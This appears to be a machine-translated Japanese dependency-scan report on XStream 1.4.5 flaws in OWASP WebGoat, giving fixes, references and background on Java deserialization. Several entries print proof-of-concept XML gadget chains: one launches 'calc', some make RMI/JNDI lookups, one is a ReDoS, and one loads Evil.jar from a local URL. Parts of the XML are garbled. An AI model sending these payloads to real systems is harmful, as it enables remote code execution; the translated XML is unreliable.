- 脆弱なモジュール: com.thoughtworks.xstream:xstream 導入元:
- org.owasp.webgoat:webgoat@2023.4 および com.thoughtworks.xstream:xstream@1.4.5

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > com.thoughtworks.xstream:xstream@1.4.5

### 概要

[com.thoughtworks.xstream:xstream](#)オブジェクトを XML にシリアル化し、またその逆を行なうシンプルなライブラリです。

このパッケージの影響を受けるバージョンには、任意のファイル削除の脆弱性があります。リモートの攻撃者は、実行プロセスが十分な権限を持っている限り、処理済みの入力ストリームを操作することで、ホスト上の任意の既知のファイルを削除できます。

### 修復

com.thoughtworks.xstream:xstream をバージョン 1.4.15 以上にアップグレードします。

### 参考文献

- [CVE-2020-26259の詳細](#)
- [GitHubアドバイザリ](#)
- [GitHubコミット](#)
- [GitHubでの概念実証](#)

[この脆弱性の詳細](#)

中程度の深刻度

## サーバーサイドリクエストフォージェリ (SSRF)

- パッケージ マネージャー: maven
- 脆弱なモジュール: com.thoughtworks.xstream:xstream 導入元:
- org.owasp.webgoat:webgoat@2023.4 および com.thoughtworks.xstream:xstream@1.4.5

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > com.thoughtworks.xstream:xstream@1.4.5

### 概要

[com.thoughtworks.xstream:xstream](#)オブジェクトを XML にシリアル化し、またその逆を行なうシンプルなライブラリです。

このパッケージの影響を受けるバージョンは、サーバーサイドリクエストフォージェリ (SSRF) の脆弱性を有します。リモートの攻撃者は、処理済みの入力ストリームを操作することで、公開されていない内部リソースからデータを要求できます。

注意: この脆弱性は Java 15 以降を実行している場合は存在せず、XStreamのデフォルトのブラックリストを使用する場合にのみ関連します。

### 修復

com.thoughtworks.xstream:xstream をバージョン 1.4.15 以上にアップグレードします。

### 参考文献

- [エクスプロイトリポジトリ](#)
- [GitHubコミット](#)
- [XStreamアドバイザリ](#)
- [核テンプレート](#)

[この脆弱性の詳細](#)

中程度の深刻度

## 信頼できないデータのデシリアライズ

- パッケージ マネージャー: maven
- 脆弱なモジュール: com.thoughtworks.xstream:xstream 導入元:
- org.owasp.webgoat:webgoat@2023.4 および com.thoughtworks.xstream:xstream@1.4.5

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > com.thoughtworks.xstream:xstream@1.4.5

## 概要

[com.thoughtworks.xstream:xstream](#)オブジェクトを XML にシリアル化し、またその逆を行なうシンプルなライブラリです。

このパッケージの影響を受けるバージョンは、信頼できないデータのデシリアライゼーションに対して脆弱です。この脆弱性により、処理済みの入力ストリームを操作するだけで、ホスト上でローカルコマンドを実行できる権限を持つリモート攻撃者を攻撃者に許してしまう可能性があります。

### 概念実証

```
<java.util.PriorityQueue serialization='custom'> <unserializable-
parents/> <java.util.PriorityQueue>
<default> <size>2</size>
<comparator

class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'> <indexMap
class='com.sun.xml.internal.ws.client.ResponseContext'>
</パケット>
<メッセージ クラス='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'> <データソース ク
ラス='com.sun.xml.internal.ws.message.JAXBAttachment'>
<プリッジクラス='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'><プリッジクラス
='com.sun.xml.internal.bind.v2.runtime.Bridgelmpl'>
<bi クラス='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
<jaxbType>com.sun.corba.se.impl.activation.ServerTableEntry</jaxbType> <uriProperties/>
<attributeProperties/
> <inheritedAttWildcard クラ
ス='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
<getter>
<class>com.sun.corba.se.impl.activation.ServerTableEntry</class> <name>verify</
name> <parameter-types/
> </getter> </
inheritedAttWildcard> </bi>

<tagName/>
<コンテキスト>
<marshallerPool クラス='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
<外部クラス参照='..../'>
</marshallerPool>
<nameList>
<nsUriCannotBeDefaulted>
<boolean>true</boolean> </
nsUriCannotBeDefaulted>
<namespaceURLs>
<string>1</string> </
namespaceURLs>
<localNames>
<string>UTF-8</string> </
localNames> </
nameList> </
context> </
bridge> </
bridge>
<jaxbObject class='com.sun.corba.se.impl.activation.com.sun.corba.se.impl.activation.ServerTableEntry'>
<activationCmd>calc</activationCmd> </
jaxbObject> </
dataSource> </
message>
<satellites/>
<invocationProperties/> </
packet> </
indexMap> </
comparator> </
default>
<int>3</int>
<string>javax.xml.ws.binding.attachments.inbound</string>
<string>javax.xml.ws.binding.attachments.inbound</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
```

[推奨](#)に従うユーザー最小限必要なタイプに制限されたホワイトリストを使用して XStream のセキュリティ フレームワークを設定すると、影響を受けません。

## 詳細

シリアル化とは、オブジェクトをディスクやデータベースに保存したり、ストリームを通じて送信したりできるバイト シーケンスに変換するプロセスです。

バイナリからオブジェクトを作成する逆のプロセスは、デシリアライゼーションと呼ばれます。デシリアライゼーションは、通信（複数のホスト間でオブジェクトを共有する）や永続化（オブジェクトの状態をファイルやデータベースに保存する）によく使用されます。これは、Remote Method Invocation (RMI)、Java Management Extension (JMX)、Java Messaging System (JMS)、Action Message Format (AMF)、Java Server Faces (JSF)といった一般的なプロトコルに不可欠な要素です。

ViewStateなど

信頼できないデータのデシリアライゼーション ([CWE-502](#)) は、アプリケーションが、結果のデータが有効であることを十分に検証せずに信頼できないデータをデシリアライズし、攻撃者が実行の状態やフローを制御できるようにすることです。

Javaのデシリアライゼーション問題は長年知られていました。しかし、2015年に、悪用されリモートコード実行を可能にする可能性のあるクラスが[人気ライブラリ \(Apache Commons Collection\)](#)で発見されたことで、この問題への関心は大きく高まりました。これらのクラスは、IBM WebSphere、Oracle WebLogic、その他多くの製品に影響を与えるゼロデイ攻撃で使用されました。

攻撃者は、脆弱なクラスがパス上に存在し、信頼できないデータに対してデシリアライズを実行するソフトウェアを特定するだけで済みます。あとは、ペイロードをデシリアライザに送信し、コマンドを実行するだけです。

開発者はJavaオブジェクトのシリアル化に過度の信頼を置いています。中には認証前にオブジェクトをデシリアライズする開発者もいます。Javaでオブジェクトをデシリアライズする場合、通常は想定される型にキャストするため、Javaの厳格な型システムにより、有効なオブジェクトツリーのみが取得されます。しかし、型チェックが行われる頃には、プラットフォームコードが既に重要なロジックを作成し、実行しています。そのため、最終的な型がチェックされる前に、様々なオブジェクトのreadObject()メソッドから大量のコードが実行されますが、これらはすべて開発者の制御外にあります。脆弱なアプリケーションのクラスパス上で利用可能な様々なクラスのreadObject()メソッドを組み合わせることで、攻撃者は関数 (Runtime.exec())を呼び出してローカルOSコマンドを実行することを含む)を実行できます。

## 修復

com.thoughtworks.xstream:xstream をバージョン 1.4.16 以上にアップグレードします。

## 参考文献

- [XStreamアドバイザリ](#)
- [XStreamの変更履歴](#)
- [XStream の回避策](#)
- [核テンプレート](#)

[この脆弱性の詳細](#)

中程度の深刻度

## 信頼できないデータのデシリアライズ

- パッケージ マネージャー: maven
- 脆弱なモジュール: com.thoughtworks.xstream:xstream 導入元:
- org.owasp.webgoat:webgoat@2023.4 および com.thoughtworks.xstream:xstream@1.4.5

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > com.thoughtworks.xstream:xstream@1.4.5

### 概要

[com.thoughtworks.xstream:xstream](#)オブジェクトを XML にシリアル化し、またその逆を行うシンプルなライブラリです。

このパッケージの影響を受けるバージョンは、信頼できないデータのデシリアライゼーションに対して脆弱です。この脆弱性により、リモートの攻撃者は、処理済みの入力ストリームを操作するだけで、リモートホストから任意のコードをロードして実行できる可能性があります。

概念実証

```
<java.util.PriorityQueue serialization='custom'> <unserializable->
  parents/> <java.util.PriorityQueue>
  <default> <size>2</size>
  <comparator
    class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'> <indexMap
      class='com.sun.xml.internal.ws.client.ResponseContext'>
    </パケット>
    <メッセージ クラス='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'> <データソース クラス='com.sun.xml.internal.ws.message.JAXBAttachment'>
      <プリッジクラス='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'> <プリッジクラス='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
        <bi クラス='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
          <jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType>
          <uriProperties/>
          <attributeProperties/>
          <inheritedAttWildcard クラス='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
            <getter>
              <class>com.sun.rowset.JdbcRowSetImpl</class>
              <name>getDatabaseMetaData</name>
              <parameter-types/>
            <getter> </
            inheritedAttWildcard </bi>
          <tagName/>
          <コンテキスト>
            <marshallerPool クラス='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
              <外部クラス参照='../../'>
            </marshallerPool>
            <nameList>
              <nsUriCannotBeDefaulted>
                <boolean>true</boolean>
              nsUriCannotBeDefaulted>
              <namespaceURIs>
                <string>1</string>
              namespaceURIs>
              <localNames>
                <string>UTF-8</string>
              localNames>
            nameList </
            context </
            bridge </
            bridge >
            <jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
              <javax.sql.rowset.BaseRowSet>
                <default>
                  <concurrency>1008</concurrency>
                  <escapeProcessing>true</escapeProcessing>
                  <fetchDir>1000</fetchDir>
                  <fetchSize>0</fetchSize>
                  <isolation>2</isolation>
                  <maxFieldSize>0</maxFieldSize>
                  <maxRows>0</maxRows>
                  <queryTimeout>0</queryTimeout>
                  <readOnly>true</readOnly>
                  <rowSetType>1004</rowSetType>
                  <showDeleted>false</showDeleted>
                  <dataSource>rmi://localhost:15000/CallRemoteMethod</dataSource> <params/>
                </default>
              </>
              javax.sql.rowset.BaseRowSet>
              <com.sun.rowset.JdbcRowSetImpl>
                <default>
                  <iMatchColumns>
                    <int>-1</int>
                    <int>-1</int>
                    <int>-1</int>
                    <int>-1</int>
                    <int>-1</int>
                    <int>-1</int>
                  <iMatchColumns>
                </>
              </com.sun.rowset.JdbcRowSetImpl>
            </>
          </>
        </>
      </>
    </>
  </>
</>
```

```

<int>-1</int>
<int>1</int>
<int>-1</int>
<int>-1</int> </
iMatchColumns>
<strMatchColumns>
<string>foo</string> <null/>
><null/>
<null/>
<null/>
<null/>
<null/>
<null/> </

strMatchColumns> </
default>
</com.sun.rowset.JdbcRowSetImpl> </
jaxbObject> </
dataSource> </
message>
<satellites/>
<invocationProperties/> </
packet> </
indexMap> </
comparator> </
default>
<int>3</int>
<string>javax.xml.ws.binding.attachments.inbound</string>
<string>javax.xml.ws.binding.attachments.inbound</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

```

**推奨**に従うユーザー最小限必要なタイプに制限されたホワイトリストを使用して XStream のセキュリティ フレームワークを設定すると、影響を受けません。

## 詳細

シリアル化とは、オブジェクトをディスクやデータベースに保存したり、ストリームを通じて送信したりできるバイト シーケンスに変換するプロセスです。バイト列からオブジェクトを作成する逆のプロセスは、デシリアライゼーションと呼ばれます。デシリアライゼーションは、通信（複数のホスト間でオブジェクトを共有する）や永続化（オブジェクトの状態をファイルやデータベースに保存する）によく使用されます。これは、Remote Method Invocation (RMI)、Java Management Extension (JMX)、Java Messaging System (JMS)、Action Message Format (AMF)、Java Server Faces (JSF)といった一般的なプロトコルに不可欠な要素です。ViewStateなど

信頼できないデータのデシリアライゼーション ([CWE-502](#)) は、アプリケーションが、結果のデータが有効であることを十分に検証せずに信頼できないデータをデシリアライズし、攻撃者が実行の状態やフローを制御できるようにすることです。

Javaのデシリアライゼーション問題は長年知られていました。しかし、2015年に、悪用されリモートコード実行を可能にする可能性のあるクラスが[人気ライブラリ \(Apache Commons Collection\)](#)で発見されたことで、この問題への関心は大きく高まりました。これらのクラスは、IBM WebSphere、Oracle WebLogic、その他多くの製品に影響を与えるゼロデイ攻撃で使用されました。

攻撃者は、脆弱なクラスがパス上に存在し、信頼できないデータに対してデシリアライズを実行するソフトウェアを特定するだけで済みます。あとは、ペイロードをデシリアライザに送信し、コマンドを実行するだけです。

開発者はJavaオブジェクトのシリアル化に過度の信頼を置いています。中には認証前にオブジェクトをデシリアライズする開発者もいます。Javaでオブジェクトをデシリアライズする場合、通常は想定される型にキャストするため、Javaの厳格な型システムにより、有効なオブジェクトツリーのみが取得されます。しかし、型チェックが行われる頃には、プラットフォームコードが既に重要なロジックを作成し、実行しています。そのため、最終的な型がチェックされる前に、様々なオブジェクトのreadObject()メソッドから大量のコードが実行されますが、これらはすべて開発者の制御外にあります。脆弱なアプリケーションのクラスパス上で利用可能な様々なクラスのreadObject()メソッドを組み合わせることで、攻撃者は関数 (Runtime.exec()) を呼び出してローカルOSコマンドを実行することを含む)を実行できます。

## 修復

com.thoughtworks.xstream:xstream をバージョン 1.4.16 以上にアップグレードします。

## 参考文献

- [XStreamアドバイザリ](#)
- [XStreamの変更履歴](#)
- [XStream の回避策](#)

[この脆弱性の詳細](#)

中程度の深刻度

## 信頼できないデータのデシリアライズ

- パッケージ マネージャー: maven
- 脆弱なモジュール: com.thoughtworks.xstream:xstream 導入元:
- org.owasp.webgoat:webgoat@2023.4 および com.thoughtworks.xstream:xstream@1.4.5

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > com.thoughtworks.xstream:xstream@1.4.5

## 概要

com.thoughtworks.xstream:xstream オブジェクトを XML にシリアル化し、またその逆を行なうシンプルなライブラリです。

このパッケージの影響を受けるバージョンは、信頼できないデータのデシリアライゼーションに対して脆弱です。この脆弱性により、リモートの攻撃者が CPU 時間を最大限に消費し、二度と戻らないスレッドを占有する可能性があります。攻撃者は処理済みの入力ストリームを操作し、オブジェクトの置換または挿入を行うことで、悪意のある正規表現の評価を実行し、サービス拒否を引き起こす可能性があります。

概念実証

```

<java.util.PriorityQueue serialization='custom'> <unserializable-
parents/> <java.util.PriorityQueue>
<default> <size>2</size>
<comparator>

<class='javafx.collections.ObservableList$1'> </default> <int>3</int>

<com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data> <dataHandler>

<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'> <contentType>text/
plain</contentType> <is
class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<イテレータクラス='java.util.Scanner'>
<buf class='java.nio.HeapCharBuffer'> <mark>-1</
mark> <position>0</
position> <limit>0</limit>
<capacity>1024</
capacity> <address>0</address>
<hb></hb> <offset>0</
offset>
<isReadOnly>false</
isReadOnly> <buf> <position>0</
position>
<matcher> <parentPattern>

<pattern>\p{javaWhitespace}+</pattern> <flags>0</
flags>
</parentPattern>
<from>0</from>
<to>0</to>
<lookbehindTo>0</lookbehindTo>
<text class='java.nio.HeapCharBuffer' reference='../../buf'> <acceptMode>0</
acceptMode> <first>-1</first>
<last>0</last>
<oldLast>-1</
oldLast>
<lastAppendPosition>0</lastAppendPosition> <locals/>
>
<hitEnd>false</hitEnd>
<requireEnd>false</requireEnd>
<transparentBounds>true</transparentBounds>
<anchoringBounds>false</anchoringBounds> <
matcher>
<delimPattern>
<pattern>(x+)y</pattern>
<flags>0</flags>
</delimPattern>
<hasNextPosition>0</hasNextPosition> <source
class='java.io.StringReader'> <lock
class='java.io.StringReader' reference='..'/>
<str>xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx</str> <length>32</
length> <next>0</next>
<mark>0</mark>
</source> <
iterator>
<type>KEYS</
type> </e> <in

class='java.io.ByteArrayInputStream'> <buf></buf>
<pos>0</pos>
<mark>0</
mark> <count>0</
count> </in> </is>

<consumed>false</consumed>
</dataSource>
<transferFlavors/> </
dataHandler>
<dataLen>0</dataLen>
</com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
<com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data 参照 = '../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

```

[推奨](#)に従うユーザー最小限必要なタイプに制限されたホワイトリストを使用して XStream のセキュリティ フレームワークを設定すると、影響を受けません。

## 詳細

シリアル化とは、オブジェクトをディスクやデータベースに保存したり、ストリームを通じて送信したりできるバイト シーケンスに変換するプロセスです。バイト列からオブジェクトを作成する逆のプロセスは、デシリアライゼーションと呼ばれます。シリアル化は、通信（複数のホスト間でオブジェクトを共有する）や永続化（オブジェクトの状態をファイルやデータベースに保存する）によく使用されます。これは、Remote Method Invocation (RMI)、Java Management Extension (JMX)、Java Messaging System (JMS)、Action Message Format (AMF)、Java Server Faces (JSF)といった一般的なプロトコルに不可欠な要素です。ViewStateなど

信頼できないデータのデシリアライゼーション ([CWE-502](#)) は、アプリケーションが、結果のデータが有効であることを十分に検証せずに信頼できないデータをデシリアライズし、攻撃者が実行の状態やフローを制御るようにすることです。

Javaのデシリアライゼーション問題は長年知られていました。しかし、2015年に、悪用されリモートコード実行を可能にする可能性のあるクラスが[人気ライブラリ \(Apache Commons Collection\)](#)で発見されたことで、この問題への関心は大きく高まりました。これらのクラスは、IBM WebSphere、Oracle WebLogic、その他多くの製品に影響を与えるゼロデイ攻撃で使用されました。

攻撃者は、脆弱なクラスがバス上に存在し、信頼できないデータに対してデシリアライズを実行するソフトウェアを特定するだけで済みます。あとは、ペイロードをデシリアライザに送信し、コマンドを実行するだけです。

開発者はJavaのオブジェクトシリアル化に過度の信頼を置いています。中には認証前にオブジェクトをデシリアライズする開発者もいます。Javaでオブジェクトをデシリアライズする場合、通常は期待される型にキャストするため、Javaの厳格な型システムによって有効なオブジェクトツリーのみが取得されます。しかし残念ながら、型チェックが行われる場所には、プラットフォームのコードが既に重要なロジックを作成し、実行しています。そのため、最終的な型がチェックされる前に、様々なオブジェクトのreadObject()メソッドからのコードが実行され、それらはすべて開発者のコントロール外にあります。

脆弱なアプリケーションのクラスパスで利用可能なさまざまなクラスの `readObject()` メソッドを使用すると、攻撃者は関数を実行できます (`Runtime.exec()` を呼び出してローカル OS コマンドを実行することを含む)。

## 修復

com.thoughtworks.xstream:xstream をバージョン 1.4.16 以上にアップグレードします。

## 参考文献

- [XStreamアドバイザリ](#)
- [XStreamの変更履歴](#)
- [XStream の回避策](#)

[この脆弱性の詳細](#)

中程度の深刻度

## 信頼できないデータのデシリアライズ

- パッケージ マネージャー: maven
- 脆弱なモジュール: com.thoughtworks.xstream:xstream 導入元:
- org.owasp.webgoat:webgoat@2023.4 および com.thoughtworks.xstream:xstream@1.4.5

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > com.thoughtworks.xstream:xstream@1.4.5

### 概要

[com.thoughtworks.xstream:xstream](#) オブジェクトを XML にシリアル化し、またその逆を行なうシンプルなライブラリです。

このパッケージの影響を受けるバージョンは、信頼できないデータのデシリアライゼーションに対して脆弱です。この脆弱性により、リモートの攻撃者は処理済みの入力ストリームを操作するだけで、リモートホストから任意のコードをロードして実行できる可能性があります。

### 概念実証

```
<ソートされたセット>
<javax.naming.ldap.Rdn_RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
<m__DTMXRTreeFrag>
<m__dtm クラス = 'com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
<m__size>-10086</m__size>
<m__mgrDefault>
<__overrideDefaultParser>false</__overrideDefaultParser>
<m__incremental>false</m__incremental>
<m__source_location>false</m__source_location>
<m__dtms>
<null/></
m__dtms>
<m__defaultHandler/></
m__mgrDefault>
<m__shouldStripWS>false</m__shouldStripWS>
<m__indexing>false</m__indexing>
<m__incrementalSAXSource クラス = 'com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
<fPullParserConfig クラス = 'com.sun.rowset.JdbcRowSetImpl' シリアル化 = 'カスタム'>
<javax.sql.rowset.BaseRowSet>
<default>
<concurrency>1008</concurrency>
<escapeProcessing>true</escapeProcessing>
<fetchDir>1000</fetchDir>
<fetchSize>0</fetchSize>
<isolation>2</isolation>
<maxFieldSize>0</maxFieldSize>
<maxRows>0</maxRows>
<queryTimeout>0</queryTimeout>
<readOnly>true</readOnly>
<rowSetType>1004</rowSetType>
<showDeleted>false</showDeleted>
<dataSource>rmi://localhost:15000/CallRemoteMethod</dataSource> <listeners/>
<params/></
default></
javax.sql.rowset.BaseRowSet>
<com.sun.rowset.JdbcRowSetImpl>
<default/>
</com.sun.rowset.JdbcRowSetImpl></
fPullParserConfig>
<fConfigSetInput>
<class>com.sun.rowset.JdbcRowSetImpl</class>
<name>setAutoCommit</name>
<パラメータ型><クラス>
<パラメータ></パラメータ
型>
</fConfigSetInput>
<fConfigParse reference='..>fConfigSetInput'>
<fParseInProgress>false</fParseInProgress><
m__incrementalSAXSource>
<m__walker>
<nextIsRaw>false</nextIsRaw><
m__walker>
<m__endDocumentOccured>false</m__endDocumentOccured>
<m__idAttributes/>
<m__textPendingStart>-1</m__textPendingStart>
<m__useSourceLocationProperty>false</m__useSourceLocationProperty>
<m__pastFirstElement>false</m__pastFirstElement>
```

```

</m__dtm>
<m__dtmIdentity>1</m__dtmIdentity></
m__DTMXRTreeFrag>
<m__dtmRoot>1</m__dtmRoot>
<m__allowRelease>false</m__allowRelease></
value></
javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>テスト</m__obj></
value></
javax.naming.ldap.Rdn_-RdnEntry> </sorted-
set>

```

[推奨](#)に従うユーザー最小限必要なタイプに制限されたホワイトリストを使用して XStream のセキュリティ フレームワークを設定すると、影響を受けません。

## 詳細

シリアル化とは、オブジェクトをディスクやデータベースに保存したり、ストリームを通じて送信したりできるバイト シーケンスに変換するプロセスです。バイト列からオブジェクトを作成する逆のプロセスは、デシリアライゼーションと呼ばれます。シリアル化は、通信（複数のホスト間でオブジェクトを共有する）や永続化（オブジェクトの状態をファイルやデータベースに保存する）によく使用されます。これは、Remote Method Invocation (RMI)、Java Management Extension (JMX)、Java Messaging System (JMS)、Action Message Format (AMF)、Java Server Faces (JSF)といった一般的なプロトコルに不可欠な要素です。ViewStateなど

信頼できないデータのデシリアライゼーション ([CWE-502](#)) は、アプリケーションが、結果のデータが有効であることを十分に検証せずに信頼できないデータをデシリアライズし、攻撃者が実行の状態やフローを制御できるようにすることです。

Java のデシリアライゼーション問題は長年知られていました。しかし、2015年に、悪用されリモートコード実行を可能にする可能性のあるクラスが [人気ライブラリ \(Apache Commons Collection\)](#) で発見されたことで、この問題への関心は大きく高まりました。これらのクラスは、IBM WebSphere、Oracle WebLogic、その他多くの製品に影響を与えるゼロデイ攻撃で使用されました。

攻撃者は、脆弱なクラスがパス上に存在し、信頼できないデータに対してデシリアライズを実行するソフトウェアを特定するだけで済みます。あとは、ペイロードをデシリアライザに送信し、コマンドを実行するだけです。

開発者は Java オブジェクトのシリアル化に過度の信頼を置いています。中には認証前にオブジェクトをデシリアライズする開発者もいます。Java でオブジェクトをデシリアライズする場合、通常は想定される型にキャストするため、Java の厳格な型システムにより、有効なオブジェクトツリーのみが取得されます。しかし、型チェックが行われる頃には、プラットフォームコードが既に重要なロジックを作成し、実行しています。そのため、最終的な型がチェックされる前に、様々なオブジェクトの readObject() メソッドから大量のコードが実行されますが、これらはすべて開発者の制御外にあります。脆弱なアプリケーションのクラスパス上で利用可能な様々なクラスの readObject() メソッドを組み合わせることで、攻撃者は関数 (Runtime.exec()) を呼び出してローカル OS コマンドを実行することを含む) を実行できます。

## 修復

com.thoughtworks.xstream:xstream をバージョン 1.4.16 以上にアップグレードします。

## 参考文献

- [XStream アドバイザリ](#)
- [XStream の変更履歴](#)
- [XStream の回避策](#)
- [核テンプレート](#)

[この脆弱性の詳細](#)

中程度の深刻度

## 信頼できないデータのデシリアライズ

- パッケージ マネージャー: maven
- 脆弱なモジュール: com.thoughtworks.xstream:xstream 導入元:
- org.owasp.webgoat:webgoat@2023.4 および com.thoughtworks.xstream:xstream@1.4.5

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > com.thoughtworks.xstream:xstream@1.4.5

## 概要

[com.thoughtworks.xstream:xstream](#) オブジェクトを XML にシリアル化し、またその逆を行うシンプルなライブラリです。

このパッケージの影響を受けるバージョンは、信頼できないデータのデシリアライゼーションに対して脆弱です。この脆弱性により、リモートの攻撃者は、処理済みの入力ストリームを操作するだけで、リモートホストから任意のコードをロードして実行できる可能性があります。

概念実証

```

<java.util.PriorityQueue serialization='custom'> <unserializable-
parents> <java.util.PriorityQueue>
<default> <size>2</size>
<comparator
class='javafx.collections.ObservableList$1'> </default> <int>3</int>

<com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data> <dataHandler>

<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'> <contentType>text/
plain</contentType> <is
class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessorIterator'> <names
class='java.util.AbstractList$ltr'> <cursor>0</cursor>

```

```

<lastRet>-1</lastRet>
<expectedModCount>0</expectedModCount> <outer-
class class='java.util.Arrays$ArrayList'>
<a class='string-array'><string>Evil</
string> </a> </outer-class> </

names> <processorCL

class='java.net.URLClassLoader'> <ucp
class='sun.misc.URLClassPath'> <urls
serialization='custom'> <unserializable-
parents/> <vector> <default>

<capacityIncrement>0</capacityIncrement> <elementCount>1</
elementCount> <elementData>

<url>http://127.0.0.1:80/Evil.jar</url>
</elementData> </
default> </
vector> </
urls>
<path>
<url>http://127.0.0.1:80/Evil.jar</url> </path> <loaders/
> <lmmap/
> </ucp>

<package2certs class='concurrent-hash-map'> <classes/>
<defaultDomain>

<classloader class='java.net.URLClassLoader' reference='../../'> <principals/>
<hasAllPerm>false</
hasAllPerm> <staticPermissions>false</
staticPermissions> <key> <outer-class reference='../../'> </key>
</
defaultDomain> <initialized>true</initialized>
<pdcache/>
> </processorCL> </
iterator> <type>KEYS</type> </e> <in

class='java.io.ByteArrayInputStream'> <buf></buf>

<pos>-2147483648</pos>
<mark>0</mark>
<count>0</count> </
in> </
is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/> </
dataHandler>
<dataLen>0</dataLen>
</com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
<com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data 参照='../../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

```

[推奨](#)に従うユーザー最小限必要なタイプに制限されたホワイトリストを使用して XStream のセキュリティ フレームワークを設定すると、影響を受けません。

## 詳細

シリアル化とは、オブジェクトをディスクやデータベースに保存したり、ストリームを通じて送信したりできるバイト シーケンスに変換するプロセスです。バイ二列からオブジェクトを作成する逆のプロセスは、デシリアライゼーションと呼ばれます。シリアル化は、通信（複数のホスト間でオブジェクトを共有する）や永続化（オブジェクトの状態をファイルやデータベースに保存する）によく使用されます。これは、Remote Method Invocation (RMI)、Java Management Extension (JMX)、Java Messaging System (JMS)、Action Message Format (AMF)、Java Server Faces (JSF)といった一般的なプロトコルに不可欠な要素です。ViewStateなど

信頼できないデータのデシリアライゼーション ([CWE-502](#)) は、アプリケーションが、結果のデータが有効であることを十分に検証せずに信頼できないデータをデシリアライズし、攻撃者が実行の状態やフローを制御できるようにすることです。

Javaのデシリアライゼーション問題は長年知られていました。しかし、2015年に、悪用されリモートコード実行を可能にする可能性のあるクラスが[人気ライブラリ \(Apache Commons Collection\)](#)で発見されたことで、この問題への関心は大きく高まりました。これらのクラスは、IBM WebSphere、Oracle WebLogic、その他多くの製品に影響を与えるゼロデイ攻撃で使用されました。

攻撃者は、脆弱なクラスがパス上に存在し、信頼できないデータに対してデシリアライズを実行するソフトウェアを特定するだけで済みます。あとは、ペイロードをデシリアライザに送信し、コマンドを実行するだけです。

開発者はJavaオブジェクトのシリアル化に過度の信頼を置いています。中には認証前にオブジェクトをデシリアライズする開発者もいます。Javaでオブジェクトをデシリアライズする場合、通常は想定される型にキャストするため、Javaの厳格な型システムにより、有効なオブジェクトツリーのみが取得されます。しかし、型チェックが行われる頃には、プラットフォームコードが既に重要なロジックを作成し、実行しています。そのため、最終的な型がチェックされる前に、様々なオブジェクトのreadObject()メソッドから大量のコードが実行されますが、これらはすべて開発者の制御外にあります。脆弱なアプリケーションのクラスパス上で利用可能な様々なクラスのreadObject()メソッドを組み合わせることで、攻撃者は関数 (Runtime.exec()) を呼び出してローカルOSコマンドを実行することを含む)を実行できます。

## 修復

com.thoughtworks.xstream:xstream をバージョン 1.4.16 以上にアップグレードします。

## 参考文献

- [XStreamアドバイザリ](#)
- [XStreamの変更履歴](#)
- [XStream の回避策](#)

中程度の深刻度

## 信頼できないデータのデシリアライズ

- パッケージ マネージャー: maven
- 脆弱なモジュール: com.thoughtworks.xstream:xstream 導入元:
- org.owasp.webgoat:webgoat@2023.4 および com.thoughtworks.xstream:xstream@1.4.5

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > com.thoughtworks.xstream:xstream@1.4.5

### 概要

[com.thoughtworks.xstream:xstream](#)オブジェクトを XML にシリアル化し、またその逆を行なうシンプルなライブラリです。

このパッケージの影響を受けるバージョンは、信頼できないデータのデシリアライゼーションに対して脆弱です。アンマーシャリング時に処理されたストリームに、以前に書き込まれたオブジェクトを再作成するための型情報が含まれるという脆弱性があります。攻撃者は処理された入力ストリームを操作してオブジェクトを置き換えたり、挿入したりすることで、ローカルホスト上のファイルを削除できます。

概念実証

